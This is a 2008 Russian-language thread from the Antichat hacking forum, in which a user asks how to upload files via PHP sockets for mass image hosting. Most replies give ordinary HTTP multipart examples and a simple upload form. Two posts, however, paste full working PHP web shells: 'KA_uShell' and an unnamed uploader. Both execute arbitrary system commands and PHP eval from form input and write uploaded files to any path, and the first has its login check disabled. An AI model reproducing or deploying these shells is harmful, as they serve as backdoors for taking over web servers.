ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Аплоад файлов. Php )
  #1  
Старый 07.05.2008, 12:03
Аватар для попугай
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию Аплоад файлов. Php )

Не подскажите как организовать аплоад файлов при помощи сокетов?

То есть мне нужно соединиться с серваком удаленным, и кинуть на скрипт, принимающий файлы свой файл и получить ссылку потом на него.

Можно примеры или ссылки на инфу.. Заранее спасибо
 
Ответить с цитированием

  #2  
Старый 07.05.2008, 12:36
Аватар для googlewumen
googlewumen
Banned
Регистрация: 03.05.2008
Сообщений: 11
Провел на форуме:
67362

Репутация: 1
По умолчанию

Скачай любой двиг файлообменника
 
Ответить с цитированием

  #3  
Старый 07.05.2008, 12:38
Аватар для Naydav
Naydav
Постоянный
Регистрация: 30.12.2006
Сообщений: 434
Провел на форуме:
849583

Репутация: 210
По умолчанию

http://www.spravkaweb.ru/php/sovet/putfile
http://forum.codenet.ru/showthread.php?t=47097
+ дописпть "получить ссылку потом на него"

Последний раз редактировалось Naydav; 07.05.2008 в 12:42..
 
Ответить с цитированием

  #4  
Старый 07.05.2008, 13:07
Аватар для groundhog
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

Я не советую делать upload через сокеты, тем более, что ты не сталкивался с такой темой. Там не очень простой HTTP-пакет получится, поэтому я больше чем уверен, что ты где-нибудь напортачишь... Пакет в принципе не сложный, смотрится примерно так:

Код:
POST /somehandler HTTP/1.1
Host: somehost.somedomain
Content-Type: multipart/form-data;boundary=---------------------------DaMaGeLaB
Content-Length: ...

-----------------------------DaMaGeLaB
Content-Type: ...
Content-Encoding: ...
Content-Disposition: form-data; name="somename"

XXYYZZ...
-----------------------------DaMaGeLaB--
То есть сам видишь - прежде чем послать запрос, тебе нужно верно расчитать Content-Length посылаемого файла, указать Content-Type и Content-Encoding, и переслать байты файла в соответствии с выбранным методом кодирования файла. При этом ещё нужно не напороть чепухи в разделителях секции...

Куда проще воспользоваться уже наработанными методами - отправляй файл через форму, а в принимающем скрипте работай через функции аплоада. Вот пример:

PHP код:
<?php

$html_code 
=<<<HTML_CODE
<html>
<head>
<title>Upload</title>
</head>
<body>
<form method="post" enctype="multipart/form-data">
<input name="file1" type="file" /><br />
<input type="submit" value="Upload" />
</form>
</body>
</html>
HTML_CODE;

print(
$html_code);

define("SERVER_UPLOAD_DIR""upload");

set_time_limit(0);

if (isset(
$_FILES) && is_array($_FILES)) {
   foreach (
$_FILES as $file) {
      if (
$file['error'] == 0) {
         
$destination sprintf("%s/%s"SERVER_UPLOAD_DIR$file['name']);
         if (
move_uploaded_file($file['tmp_name'], $destination)) {
            
printf("File '%s' with size %s Kb was successfully uploaded...&nbsp;\n"$file['name'], round($file['size'] / 10242));
                
printf("<a href=\"http://%s%s/%s/%s\">Download File</a><br>"$_SERVER['SERVER_NAME'], dirname($_SERVER['REQUEST_URI']), SERVER_UPLOAD_DIR$file['name']);
         } else
            
printf("Could not move uploaded file '%s' to destination..."$file['name']);
      } else
         
printf("Error %s occuried. Could not upload file to server - skiping..."$file['error']);
   }
}

?>
 
Ответить с цитированием

  #5  
Старый 07.05.2008, 13:58
Аватар для попугай
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

все это не то... я же писал -что мне не нужен скрипт, который принимает, загружаемые мной файлы через форму...

Мне нужно именно массово заливать картинки на radikal.ru.

groundhog

Да вот как раз вопрос был про заголовки которые нужно кидать на сервак

Content Disposition, Content- type и другие...

PS всем спасибо.. нашел статью

http://phpclub.ru/detail/article/http_request

Я конечно читал ее и ранее -но просто не обращал внимание на то , что там есть про алоад файлов...


Вот код


PHP код:
POST http://www.site.ru/postnews.html HTTP/1.0\r\n 
Hostwww.site.ru\r\
Referer
http://www.site.ru/news.html\r\n 
Cookieincome=1\r\
Content
-Typemultipart/form-databoundary=1BEF0A57BE110FD467A\r\n
Content
-Length491\r\n
\r\n
--1BEF0A57BE110FD467A\r\n
Content
-Dispositionform-dataname="news_header"\r\n
\r\n
Пример новости
\r\n
--1BEF0A57BE110FD467A\r\n
Content
-Dispositionform-dataname="news_file"filename="news.txt"\r\n
Content
-Typeapplication/octet-stream\r\n
Content
-Transfer-Encodingbinary\r\n
\r\n
А вот такая новость
которая лежит в файле news.txt\r\n
--1BEF0A57BE110FD467A--\r\

Последний раз редактировалось попугай; 07.05.2008 в 14:04..
 
Ответить с цитированием

  #6  
Старый 07.05.2008, 14:04
Аватар для groundhog
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

Если на радикал картинки заливать, так это совсем другая тема, ибо там в скрытых полях служебная информация передаётся... Надо снифать...
 
Ответить с цитированием

  #7  
Старый 07.05.2008, 14:06
Аватар для Ali_MiX
Ali_MiX
Постоянный
Регистрация: 08.10.2006
Сообщений: 445
Провел на форуме:
1028732

Репутация: 80
Отправить сообщение для Ali_MiX с помощью ICQ Отправить сообщение для Ali_MiX с помощью Yahoo
По умолчанию

вот тебе маленький шелл

PHP код:
<html>
<head>
<title>KA_uShell 0.1.6</title>
<style type="text/css">
<!--
body, table{font-family:Verdana; font-size:12px;}
table {background-color:#EAEAEA; border-width:0px;}
b {font-family:Arial; font-size:15px;}
a{text-decoration:none;}
-->
</style>
</head>
<body>

<?php
$self 
$_SERVER['PHP_SELF'];
$docr $_SERVER['DOCUMENT_ROOT'];
$sern $_SERVER['SERVER_NAME'];
$tend "</tr></form></table><br><br><br><br>";

// Configuration
$login "admin";
$pass "123";


/*/ Authentication
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="KA_uShell"');
header('HTTP/1.0 401 Unauthorized');
exit;}

else {
if(empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW']<>$pass || empty($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']<>$login)
{ echo "Что надо?"; exit;}
}
*/



if (!empty($_GET['ac'])) {$ac $_GET['ac'];}
elseif (!empty(
$_POST['ac'])) {$ac $_POST['ac'];}
else {
$ac "shell";}

// Menu
echo "
|<a href=
$self?ac=shell>Shell</a>|
|<a href=
$self?ac=upload>File Upload</a>|
|<a href=
$self?ac=tools>Tools</a>|
|<a href=
$self?ac=eval>PHP Eval Code</a>|
|<a href=
$self?ac=whois>Whois</a>|
<br><br><br><pre>"
;


switch(
$ac) {

// Shell
case "shell":

echo <<<HTML
<b>Shell</b>
<table>
<form action="
$self" method="POST">
<input type="hidden" name="ac" value="shell">
<tr><td>
$
$sern <input size="50" type="text" name="c"><input align="right" type="submit" value="Enter">
</td></tr>
<tr><td>
<textarea cols="100" rows="25">
HTML;

if (!empty(
$_POST['c'])){
passthru($_POST['c']);
}
echo 
"</textarea></td>$tend";
break;


//PHP Eval Code execution
case "eval":

echo <<<HTML
<b>PHP Eval Code</b>
<table>
<form method="POST" action="
$self">
<input type="hidden" name="ac" value="eval">
<tr>
<td><textarea name="ephp" rows="10" cols="60"></textarea></td>
</tr>
<tr>
<td><input type="submit" value="Enter"></td>
$tend
HTML;

if (isset(
$_POST['ephp'])){
eval(
$_POST['ephp']);
}
break;


//Text tools
case "tools":

echo <<<HTML
<b>Tools</b>
<table>
<form method="POST" action="
$self">
<input type="hidden" name="ac" value="tools">
<tr>
<td>
<input type="radio" name="tac" value="1">B64 Decode<br>
<input type="radio" name="tac" value="2">B64 Encode<br><hr>
<input type="radio" name="tac" value="3">md5 Hash
</td>
<td><textarea name="tot" rows="5" cols="42"></textarea></td>
</tr>
<tr>
<td> </td>
<td><input type="submit" value="Enter"></td>
$tend
HTML;

if (!empty(
$_POST['tot']) && !empty($_POST['tac'])) {

switch(
$_POST['tac']) {

case 
"1":
echo 
"Раскодированный текст:<b>" .base64_decode($_POST['tot']). "</b>";
break;

case 
"2":
echo 
"Кодированный текст:<b>" .base64_encode($_POST['tot']). "</b>";
break;

case 
"3":
echo 
"Кодированный текст:<b>" .md5($_POST['tot']). "</b>";
break;
}}
break;


// Uploading
case "upload":

echo <<<HTML
<b>File Upload</b>
<table>
<form enctype="multipart/form-data" action="
$self" method="POST">
<input type="hidden" name="ac" value="upload">
<tr>
<td>Файло:</td>
<td><input size="48" name="file" type="file"></td>
</tr>
<tr>
<td>Папка:</td>
<td><input size="48" value="
$docr/" name="path" type="text"><input type="submit" value="Послать"></td>
$tend
HTML;

if (isset(
$_POST['path'])){

$uploadfile $_POST['path'].$_FILES['file']['name'];
if (
$_POST['path']==""){$uploadfile $_FILES['file']['name'];}

if (
copy($_FILES['file']['tmp_name'], $uploadfile)) {
    echo 
"Файло успешно загружен в папку $uploadfile\n";
    echo 
"Имя:" .$_FILES['file']['name']. "\n";
    echo 
"Размер:" .$_FILES['file']['size']. "\n";

} else {
    print 
"Не удаётся загрузить файло. Инфа:\n";
    
print_r($_FILES);
}
}
break;


// Whois
case "whois":
echo <<<HTML
<b>Whois</b>
<table>
<form action="
$self" method="POST">
<input type="hidden" name="ac" value="whois">
<tr>
<td>Домен:</td>
<td><input size="40" type="text" name="wq"></td>
</tr>
<tr>
<td>Хуйз сервер:</td>
<td><input size="40" type="text" name="wser" value="whois.ripe.net"></td>
</tr>
<tr><td>
<input align="right" type="submit" value="Enter">
</td></tr>
$tend
HTML;

if (isset(
$_POST['wq']) && $_POST['wq']<>"") {

if (empty(
$_POST['wser'])) {$wser "whois.ripe.net";} else $wser $_POST['wser'];

$querty $_POST['wq']."\r\n";
$fp fsockopen($wser43);

if (!
$fp) {echo "Не могу открыть сокет";} else {
fputs($fp$querty);
while(!
feof($fp)){echo fgets($fp4000);}
fclose($fp);
}}
break;


}
?>
</pre>
</body>
</html>
 
Ответить с цитированием

  #8  
Старый 07.05.2008, 14:07
Аватар для Ali_MiX
Ali_MiX
Постоянный
Регистрация: 08.10.2006
Сообщений: 445
Провел на форуме:
1028732

Репутация: 80
Отправить сообщение для Ali_MiX с помощью ICQ Отправить сообщение для Ali_MiX с помощью Yahoo
По умолчанию

Вот чисто для уплода

PHP код:

<html>
<head>
<title>uploader</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<style type="text/css">
<!--
body {  font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px}
a {  color: #000000; text-decoration: none}
a:hover {  color: #000066; text-decoration: underline}
-->
</style>
</head>

<body bgcolor="#999999" text="#000000">
<center>
  <table width="700" border="0" bgcolor="#000066">
    <tr>
      <td>
        <table width="100%" border="0" bgcolor="#CCCCCC">
          <tr>
            <td> 
              <p><font size="2"><b><font color="#FF0000">&nbsp;&nbsp;&nbsp;System: 
                <font color="#000000"> 
                <? passthru("uname -a"); ?>
                </font><br>
                &nbsp;&nbsp;&nbsp;Our permissions: <font color="#000000"> 
                <? passthru("id"); ?>
                </font><br>
                &nbsp;&nbsp;&nbsp;Our locality: <font color="#000000"> 
                <? passthru("pwd"); ?>
                </font></font></b></font></p>
              
<pre>
<?php 
// FILE UPLOAD
$uploaded $_FILES['userfile']['tmp_name'];
if (
file_exists($uploaded)) { 
   
$pwd_dir $_POST['dira'];
   
$real $_FILES['userfile']['name'];  
   
$destination $pwd_dir."/".$real;
   
copy($uploaded$destination);
   echo 
"Uploaded process:";
   
print_r ($_FILES); 
   echo 
"FILE UPLOADED TO $destination";
} else {
    echo 
"&nbsp;&nbsp;No file uploaded"
}
?>     </pre> <form name="form1" method="post" enctype="multipart/form-data">
                <table width="100%" border="0">
                  <tr> 
                    <td width="35%"><font size="2"><b>&nbsp;&nbsp;Browse file 
                      to upload:</b></font></td>
                    <td width="65%"> 
                      <input type="file" name="userfile" size="45">
                    </td>
                  </tr>
                  <tr> 
                    <td width="35%"><b><font size="2">&nbsp;&nbsp;Destination:</font></b></td>
                    <td width="65%"> 
                      <input type="text" name="dira" size="45" value="<? passthru("pwd"); ?>">
                      <input type="submit" name="submit2" value="upload">
                    </td>
                  </tr>
                  <tr> 
                    <td width="35%"> 
                      <div align="right"> </div>
                    </td>
                    <td width="65%">&nbsp; </td>
                  </tr>
                  <tr> 
                    <td width="35%"><b><font size="2">&nbsp;&nbsp;Command to execute:</font></b></td>
                    <td width="65%">
                      <input type="text" name="cmd" size="45" value="<? echo $_POST['cmd']; ?>">
                      <input type="submit" name="submit" value="execute">
                    </td>
                  </tr>
                  <tr> 
                    <td width="35%"> 
                      <div align="right"> </div>
                    </td>
                    <td width="65%">&nbsp; </td>
                  </tr>
                </table>
              </form>
              <p>
                          <pre>
                          <?
                          
// command output 
                                
if ($_POST['cmd']){
                          
$cmd $_POST['cmd'];
                          echo 
"$cmd executed...<br>";
                          
passthru("$cmd");
                          }
                          else {
                          echo 
"No shell command executed";
                          }
                          
                          
?></pre>
         
                
                                 
              <div align="right"> <font size="1"><b>2003 &copy; </b></font> </div>
            </td>
          </tr>
        </table>
      </td>
    </tr>
  </table>
</center>
</body>
</html>
 
Ответить с цитированием

  #9  
Старый 07.05.2008, 14:10
Аватар для groundhog
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

Ali_MiX, это всё не в тему, его интересует вопрос с точки зрения построения HTTP-пакета посылаемого через POST как и что должно выглядеть...
 
Ответить с цитированием

  #10  
Старый 07.05.2008, 14:12
Аватар для Ali_MiX
Ali_MiX
Постоянный
Регистрация: 08.10.2006
Сообщений: 445
Провел на форуме:
1028732

Репутация: 80
Отправить сообщение для Ali_MiX с помощью ICQ Отправить сообщение для Ali_MiX с помощью Yahoo
По умолчанию

Цитата:
Сообщение от groundhog  
Ali_MiX, это всё не в тему, его интересует вопрос с точки зрения построения HTTP-пакета посылаемого через POST как и что должно выглядеть...
я что то тему не читал просто прочитал уплод через php
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Обзор программ для очистки жёсткого диска v1ru$ Soft - Windows 21 17.01.2010 21:07
Что такое Php? PAPA212 Болталка 13 28.12.2007 20:44
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ